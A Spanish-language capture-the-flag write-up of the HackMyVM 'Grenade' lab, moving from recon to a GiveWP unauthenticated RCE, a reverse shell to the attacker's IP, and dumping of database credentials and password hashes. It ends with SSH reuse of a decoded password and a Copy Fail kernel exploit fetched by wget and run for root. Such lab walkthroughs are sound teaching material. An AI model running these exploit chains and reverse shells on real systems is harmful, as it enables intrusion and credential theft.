cd ~/blog

~/writeups/hmv/147-grenade.md

147-grenade

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
GiveWP Unauthenticated RCE (CVE-2026-82222)Credential DisclosureCopy Fail Kernel LPE (CVE-2026-31431)
hackmyvm.eu/machines/machine.php?vm=Grenade

~3 min de lectura


Identificamos la IP de la máquina víctima:

❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.48	08:00:27:65:c0:86	PCS Systemtechnik GmbH

La dirección MAC corresponde a una interfaz de VirtualBox, por lo que fijamos 192.168.1.48 como objetivo. A continuación realizamos un escaneo completo de puertos TCP:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.48
[sudo] password for wh01s17:
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-02 17:40 -0300
Nmap scan report for 192.168.1.48
Host is up (0.00056s latency).
Not shown: 65501 filtered tcp ports (no-response), 32 filtered tcp ports (admin-prohibited)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 08:00:27:65:C0:86 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds

Solo encontramos abiertos SSH en el puerto 22 y un servicio web en el 8080. Lanzamos un segundo escaneo con detección de versiones y scripts por defecto sobre ambos puertos:

❯ nmap -sCV -Pn -p 22,8080 -oN 02-targeted.txt 192.168.1.48
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-02 17:47 -0300
Nmap scan report for 192.168.1.48
Host is up (0.00037s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey:
|   256 28:cd:12:0f:cc:7f:13:4f:1b:dc:95:e7:69:d0:a2:93 (ECDSA)
|_  256 61:54:06:fb:4b:d6:38:ea:91:a3:06:df:f8:1f:d4:ed (ED25519)
8080/tcp open  http    Apache httpd 2.4.63 ((AlmaLinux))
|_http-title: Grenade Lab
|_http-server-header: Apache/2.4.63 (AlmaLinux)
|_http-generator: WordPress 6.6.2
|_http-open-proxy: Proxy might be redirecting requests

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.32 seconds

Para ampliar el reconocimiento del servicio web, enumeramos rutas y archivos comunes con Gobuster:

❯ gobuster dir -u 'http://192.168.1.48:8080' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,js,txt,html,xml,jpg,jpeg,png,gif,zip,sh,db,sql,bak -r
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.48:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/wh01s17/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              sql,bak,php,js,png,zip,sh,db,txt,html,xml,jpg,jpeg,gif
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
wp-content           (Status: 200) [Size: 0]
index.php            (Status: 200) [Size: 96283]
wp-login.php         (Status: 200) [Size: 5075]
license.txt          (Status: 200) [Size: 19915]
wp-includes          (Status: 403) [Size: 199]
readme.html          (Status: 200) [Size: 7409]
poweredby.png        (Status: 200) [Size: 5714]
wp-trackback.php     (Status: 200) [Size: 135]
xmlrpc.php           (Status: 405) [Size: 42]

Las rutas wp-content, wp-login.php y wp-includes confirman la estructura de WordPress. A continuación enumeramos plugins, temas y usuarios con WPScan:

❯ wpscan --url http://192.168.1.48:8080 --enumerate ap,at,u --plugins-detection aggressive -t 50
WARNING: Nokogiri was built against libxml version 2.15.3, but has dynamically loaded 2.15.4
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

                  WordPress Security Scanner
                         Version 4.0.1
                    An Automattic endeavor
                    https://automattic.com
_______________________________________________________________

[+] URL: http://192.168.1.48:8080/ [192.168.1.48]
[+] Started: Fri Oct  2 18:16:23 2026
[+] Command Line: wpscan --url http://192.168.1.48:8080 --enumerate ap,at,u --plugins-detection aggressive -t 50
[+] Hostname: archlinux

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.63 (AlmaLinux)
 |  - X-Powered-By: PHP/8.1.34
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.1.48:8080/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.1.48:8080/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.1.48:8080/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.6.2 identified (Insecure, released on 2024-09-10).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.1.48:8080/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.6.2'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.1.48:8080/, Match: 'WordPress 6.6.2'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Aggressive Methods)

[+] akismet
 | Location: http://192.168.1.48:8080/wp-content/plugins/akismet/
 | Latest Version: 5.7.2
 | Last Updated: 2026-08-18 11:42pm GMT (1 month ago, per WordPress.org)
 | Active Installs: 5,000,000 (per WordPress.org)
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.1.48:8080/wp-content/plugins/akismet/, status: 403
 |
 | The version could not be determined.

[+] give
 | Location: http://192.168.1.48:8080/wp-content/plugins/give/
 | Last Updated: 2026-10-01 8:29pm GMT (1 day ago, per WordPress.org)
 | Active Installs: 100,000 (per WordPress.org)
 | Readme: http://192.168.1.48:8080/wp-content/plugins/give/readme.txt
 | [!] The version is out of date, the latest version is 4.18.0
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.1.48:8080/wp-content/plugins/give/, status: 403
 |
 | Version: 4.16.5.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.1.48:8080/wp-content/plugins/give/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.1.48:8080/wp-content/plugins/give/readme.txt

[+] https://github.com/placetopay/woocommerce-gateway-placetopay
 | Location: http://192.168.1.48:8080/wp-content/plugins/https://github.com/placetopay/woocommerce-gateway-placetopay/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://github.com/placetopay/woocommerce-gateway-placetopay/, status: 200
 |
 | The version could not be determined.
 Checking Known Locations - Time: 00:03:33 <=======================================================================> (132786 / 132786) 100.00% Time: 00:03:33
[i] 3 plugin(s) Identified.
[+] Enumerating All Themes (via Passive and Aggressive Methods)

[+] twentytwentytwo
 | Location: http://192.168.1.48:8080/wp-content/themes/twentytwentytwo/
 | Last Updated: 2026-08-19 4:00am GMT (1 month ago, per WordPress.org)
 | Active Installs: 100,000 (per WordPress.org)
 | Readme: http://192.168.1.48:8080/wp-content/themes/twentytwentytwo/readme.txt
 | [!] The version is out of date, the latest version is 2.1
 | Style URL: http://192.168.1.48:8080/wp-content/themes/twentytwentytwo/style.css
 | Style Name: Twenty Twenty-Two
 | Style URI: https://wordpress.org/themes/twentytwentytwo/
 | Description: Built on a solidly designed foundation, Twenty Twenty-Two embraces the idea that everyone deserves a...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.1.48:8080/wp-content/themes/twentytwentytwo/, status: 200
 |
 | Version: 1.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.1.48:8080/wp-content/themes/twentytwentytwo/style.css, Match: 'Version: 1.8'

[+] twentytwentythree
 | Location: http://192.168.1.48:8080/wp-content/themes/twentytwentythree/
 | Last Updated: 2026-08-19 4:00am GMT (1 month ago, per WordPress.org)
 | Active Installs: 300,000 (per WordPress.org)
 | Readme: http://192.168.1.48:8080/wp-content/themes/twentytwentythree/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | Style URL: http://192.168.1.48:8080/wp-content/themes/twentytwentythree/style.css
 | Style Name: Twenty Twenty-Three
 | Style URI: https://wordpress.org/themes/twentytwentythree
 | Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6....
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.1.48:8080/wp-content/themes/twentytwentythree/, status: 403
 |
 | Version: 1.5 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.1.48:8080/wp-content/themes/twentytwentythree/style.css, Match: 'Version: 1.5'

[+] twentytwentyfour
 | Location: http://192.168.1.48:8080/wp-content/themes/twentytwentyfour/
 | Last Updated: 2026-08-19 4:00am GMT (1 month ago, per WordPress.org)
 | Active Installs: 500,000 (per WordPress.org)
 | Readme: http://192.168.1.48:8080/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | Style URL: http://192.168.1.48:8080/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.1.48:8080/wp-content/themes/twentytwentyfour/, status: 403
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.1.48:8080/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.2'
 Checking Known Locations - Time: 00:00:55 <=========================================================================> (33342 / 33342) 100.00% Time: 00:00:55
[i] 3 theme(s) Identified.
[+] Enumerating Users (via Passive and Aggressive Methods)

[+] lab-admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 Brute Forcing Author IDs - Time: 00:00:01 <===============================================================================> (10 / 10) 100.00% Time: 00:00:01
[i] 1 user(s) Identified.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Fri Oct  2 18:21:33 2026
[+] Requests Done: 166185
[+] Cached Requests: 42
[+] Most response codes received: 404: 166152, 200: 23, 403: 10
[+] Data Sent: 38.165 MB
[+] Data Received: 23.39 MB
[+] Memory used: 547.184 MB
[+] Elapsed time: 00:05:10

El plugin GiveWP 4.16.5.1 es vulnerable a ejecución remota de comandos mediante CVE-2026-82222; el resto de la salida no aportó elementos a la cadena de ataque.

Utilizamos el PoC de GiveWP para comprobar la vulnerabilidad. El primer intento se realizó directamente contra la dirección IP:

❯ python3 CVE-2026-8222-RCE.py -u http://192.168.1.48:8080
CVE-2026-82222 GiveWP unauth RCE PoC — 1 target(s), cmd='id'

[*] target http://192.168.1.48:8080  token 1641z3k4wyrd
    [PASS] register (auth cookie issued) — status=200
    [PASS] profile nonce harvested — uid='13'
    [FAIL] unexpected error — ConnectionError: HTTPConnectionPool(host='grenade.hmv', port=8080): Max retries exceeded with url: /wp-admin/profile.php?updated=1 (Caused by NameResolutionError("HTTPConnection(host='grenade.hmv', port=8080): Failed to resolve 'grenade.hmv' ([Errno -2] Name or service not known)"))

================================================================

El exploit falla porque el sitio redirige al nombre de dominio grenade.hmv, que todavía no puede resolverse. Para solucionarlo, lo agregamos a nuestro /etc/hosts:

❯ cat /etc/hosts
─────┬─────────────────────────────────────
     │ File: /etc/hosts
─────┼─────────────────────────────────────
   1 │ # Static table lookup for hostnames.
   2 │ # See hosts(5) for details.
   3 │ 127.0.0.1        localhost
   4 │ ::1              localhost
   5 │
   6 │ 192.168.1.48    grenade.hmv
─────┴──────────────────────────────────────

Con el nombre ya resuelto, repetimos la prueba contra grenade.hmv:

❯ python3 CVE-2026-8222-RCE.py -u http://grenade.hmv:8080
CVE-2026-82222 GiveWP unauth RCE PoC — 1 target(s), cmd='id'

[*] target http://grenade.hmv:8080  token oleklmr3dew1
    [PASS] register (auth cookie issued) — status=200
    [PASS] profile nonce harvested — uid='15'
    [PASS] gadget stored in last_name meta — update=True stored_len=481
    [PASS] donation form discovered — form_id=4 via http://grenade.hmv:8080/?give_forms=donate-now
    [PASS] donation nonce via admin-ajax — nonce=bf8ba8bbdc...
    [PASS] session poisoned (HTTP 500 after write) — status=500
    [PASS] command executed (marker fetched over HTTP) — trigger#1
    ---- command output ----------------------------------
    uid=993(www-data) gid=993(www-data) groups=993(www-data) context=system_u:system_r:httpd_t:s0
    ----------------------------------------------------

================================================================
target                                     result
----------------------------------------------------------------
http://grenade.hmv:8080                    RCE CONFIRMED
================================================================
1/1 target(s) confirmed command execution

El PoC registra una cuenta temporal, almacena la cadena de objetos, obtiene el nonce del formulario de donación e intoxica la sesión. La ejecución de id confirma el RCE sin autenticación con el contexto de www-data y revela que el formulario vulnerable tiene el identificador 4.

Usamos ese identificador para obtener información básica del sistema comprometido:

❯ python3 CVE-2026-8222-RCE.py -u http://grenade.hmv:8080 --form-id 4 --cmd 'whoami; id; hostname; uname -a; cat /etc/os-release'
    ---- command output ----------------------------------
    www-data
    uid=993(www-data) gid=993(www-data) groups=993(www-data) context=system_u:system_r:httpd_t:s0
    grenade
    Linux grenade 6.12.0-124.8.1.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 11:41:04 EST 2025 x86_64 GNU/Linux
    NAME="AlmaLinux"
    VERSION="10.2 (Lavender Lion)"
    ----------------------------------------------------

La máquina ejecuta AlmaLinux 10.2 con el kernel 6.12 y el acceso inicial está limitado al usuario del servidor web.

Enumeramos las cuentas con una shell de inicio de sesión válida:

❯ python3 CVE-2026-8222-RCE.py -u http://grenade.hmv:8080 --form-id 4 --cmd 'cat /etc/passwd | grep -E "/bin/(bash|sh)$"'
    ---- command output ----------------------------------
    root:x:0:0:Super User:/root:/bin/bash
    give:x:1001:1001::/home/give:/bin/bash
    ----------------------------------------------------

Continuamos la enumeración remota comprobando los directorios personales accesibles:

❯ python3 CVE-2026-8222-RCE.py -u http://grenade.hmv:8080 --form-id 4  --cmd 'ls -la /home /root'
    ---- command output ----------------------------------
    /home:
    total 0
    drwxr-xr-x.  3 root root  18 Sep  3 13:52 .
    dr-xr-xr-x. 18 root root 235 Sep  3 07:15 ..
    drwx------.  2 give give  99 Sep  3 08:32 give
    ----------------------------------------------------

También revisamos wp-config.php, que contiene las credenciales utilizadas por WordPress para conectarse a MySQL:

❯ python3 CVE-2026-8222-RCE.py -u http://grenade.hmv:8080 --form-id 4  --cmd 'grep DB_ /var/www/grenade/wp-config.php'
    ---- command output ----------------------------------
    define( 'DB_NAME', 'wordpress' );
    define( 'DB_USER', 'wpuser' );
    define( 'DB_PASSWORD', 'WpLabDb_2026!' );
    define( 'DB_HOST', 'localhost' );
    define( 'DB_CHARSET', 'utf8' );
    define( 'DB_COLLATE', '' );
    ----------------------------------------------------

Con esas credenciales consultamos los usuarios registrados en la aplicación:

❯ python3 CVE-2026-8222-RCE.py -u http://grenade.hmv:8080 --form-id 4  --cmd "mysql -uwpuser -p'WpLabDb_2026!' wordpress -e 'SELECT ID,user_login,user_pass,user_email FROM wp_users;'"
    ---- command output ----------------------------------
    ID	user_login	user_pass	user_email
    1	lab-admin	ea45dcf49626bfc9c2134e10d4abfcc3	admin@lab.invalid
    13	poc1641z3k4wyrd	$P$BMngKo5hg4ZojCeafQAx72kqA/XEQP.	poc1641z3k4wyrd@poc.local
    14	pocv3nc84flc2te	$P$BrPHpso3fcbbM2fjnr0m/AFzG8hDbh0	pocv3nc84flc2te@poc.local
    15	pocoleklmr3dew1	$P$BS9VIKlgUbTqCctdw7LUiYi9j43rxW.	pocoleklmr3dew1@poc.local
    16	pocum24sdlm80bv	$P$Bh7.uFyEMB4babxePZ2BRK0d56BX8w0	pocum24s
    ----------------------------------------------------

give es la única cuenta local no privilegiada con una shell válida. Para facilitar la enumeración, modifiqué el exploit añadiendo los parámetros --shell y --lport. El script abre el listener antes de disparar el payload y conecta el socket recibido con la entrada y salida de la terminal:

❯ python3 CVE-2026-8222-RCE.py -u http://grenade.hmv:8080 --form-id 4 --shell 192.168.1.54 --lport 4321
CVE-2026-82222 GiveWP unauth RCE PoC — 1 target(s), interactive shell -> 192.168.1.54:4321

[*] target http://grenade.hmv:8080  token vuxzrgrrdin1
    [PASS] register (auth cookie issued) — status=200
    [PASS] profile nonce harvested — uid='59'
    [PASS] gadget stored in last_name meta — update=True stored_len=787
    [PASS] donation nonce via admin-ajax — nonce=cbcaf69801...
    [PASS] session poisoned (HTTP 500 after write) — status=500
[*] listening on 0.0.0.0:4321; callback address 192.168.1.54:4321
    [PASS] reverse shell connected — peer=192.168.1.48:55562 trigger#1
[*] interactive shell attached; use Ctrl-D or 'exit' to close
sh-5.2$ id
uid=993(www-data) gid=993(www-data) groups=993(www-data) context=system_u:system_r:httpd_t:s0

La conexión devuelve una shell interactiva como www-data. Durante la enumeración del sistema de archivos encontramos en /var/backups un archivo de credenciales codificado en Base92:

bash-5.2$ pwd
/var/backups
bash-5.2$ cat creds.b92
FC2KVC3.5AIbSPUc:c0fZn*q*!t4A@.

Decodificamos su contenido con dCode Base92:

give:asp8r32aFAOhf2alsudf

El texto decodificado contiene el par usuario:contraseña de give. Como SSH estaba expuesto desde la enumeración inicial, utilizamos estas credenciales para realizar movimiento lateral:

❯ ssh give@192.168.1.48
give@192.168.1.48's password: asp8r32aFAOhf2alsudf
Last failed login: Sat Oct  3 12:50:10 WITA 2026 from 192.168.1.54 on ssh:notty
There were 133 failed login attempts since the last successful login.
Last login: Thu Sep  3 13:55:35 2026 from 192.168.56.1
[give@grenade ~]$

La autenticación es válida y obtenemos una sesión como el usuario local.

Ejecutamos LinPEAS como give y guardamos el resultado para revisarlo:

[give@grenade ~]$ chmod +x linpeas.sh
[give@grenade ~]$ ./linpeas.sh | tee linpeas_out_give.txt

El hallazgo relevante es que el sistema podría ser vulnerable a Copy Fail (CVE-2026-31431):

╔══════════╣ Checking for Copy Fail (CVE-2026-31431) (T1068)
╚ https://copy.fail/
╚ https://www.cve.org/CVERecord?id=CVE-2026-31431
VULNERABLE: non-destructive AF_ALG/splice page-cache write triggered

LinPEAS logra activar de forma no destructiva la primitiva AF_ALG/splice, por lo que no se limita a comparar la versión del kernel, comprueba el comportamiento vulnerable. Buscamos el PoC correspondiente en Exploit-DB:

❯ searchsploit 52573
--------------------------------------------------- ----------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ----------------------
Linux Kernel 6.8 - Local Privilege Escalation      | linux/local/52573.py
--------------------------------------------------- ----------------------
Shellcodes: No Results

Aunque Exploit-DB guarda el PoC con extensión .py, su contenido está escrito en Rust. Además, el comentario inicial carece de la apertura /*; la añadimos al preparar el proyecto:

❯ mkdir -p copyfail/src
❯ sed '1i/*' 52573.py > copyfail/src/main.rs
❯ cd copyfail
❯ cat > Cargo.toml <<'EOF'
[package]
name = "copyfail"
version = "0.1.0"
edition = "2021"

[dependencies]
libc = "0.2"
EOF

Lo compilamos estáticamente para evitar problemas con las bibliotecas disponibles en la máquina víctima:

❯ RUSTFLAGS='-C target-feature=+crt-static' cargo build --release

❯ file target/release/copyfail
target/release/copyfail: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, for GNU/Linux 4.4.0, BuildID[sha1]=f794d0a64c3add096f7a77f0f8a556dcd4d28f9c, not stripped

El resultado es un ELF x86-64 enlazado estáticamente, por lo que no depende de que el objetivo tenga las mismas versiones de las bibliotecas de Rust. Levantamos un servidor HTTP en el directorio donde quedó el binario:

❯ python3 -m http.server 8000 --directory target/release
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Desde la máquina víctima lo descargamos con wget, verificamos que sea un ELF y le asignamos permisos de ejecución:

[give@grenade ~]$ cd /tmp
[give@grenade tmp]$ wget http://192.168.1.54:8000/copyfail -O copyfail
[give@grenade tmp]$ file copyfail
copyfail: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, for GNU/Linux 4.4.0, BuildID[sha1]=f794d0a64c3add096f7a77f0f8a556dcd4d28f9c, not stripped
[give@grenade tmp]$ chmod +x copyfail

Finalmente usamos el modo de comprobación no destructivo. Aunque el kernel 6.12 queda fuera del rango anunciado en el título de Exploit-DB, el propio PoC confirma que la primitiva vulnerable está presente:

[give@grenade tmp]$ ./copyfail --test
--------------------------------------------------
  CVE-2026-31431 Linux Copy-Fail Exploit (Rust)
--------------------------------------------------
[*] Mode: Vulnerability Testing
[!] VULNERABLE!

La comprobación confirma que el host es vulnerable a CVE-2026-31431 y deja preparada la siguiente fase de escalada de privilegios.

Ejecutamos el PoC en modo de explotación. Este utiliza la primitiva de Copy Fail para sobrescribir en la page cache el contenido de /usr/bin/su con un payload que ejecuta /bin/bash; después invoca el binario modificado para obtener una shell privilegiada:

[give@grenade tmp]$ ./copyfail --exploit
--------------------------------------------------
  CVE-2026-31431 Linux Copy-Fail Exploit (Rust)
--------------------------------------------------
[*] Mode: Privilege Escalation (Default: /bin/bash)

[+] Spawning root shell...
[root@grenade tmp]# whoami
root

La ejecución de whoami devuelve root.

Obtenemos la última flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados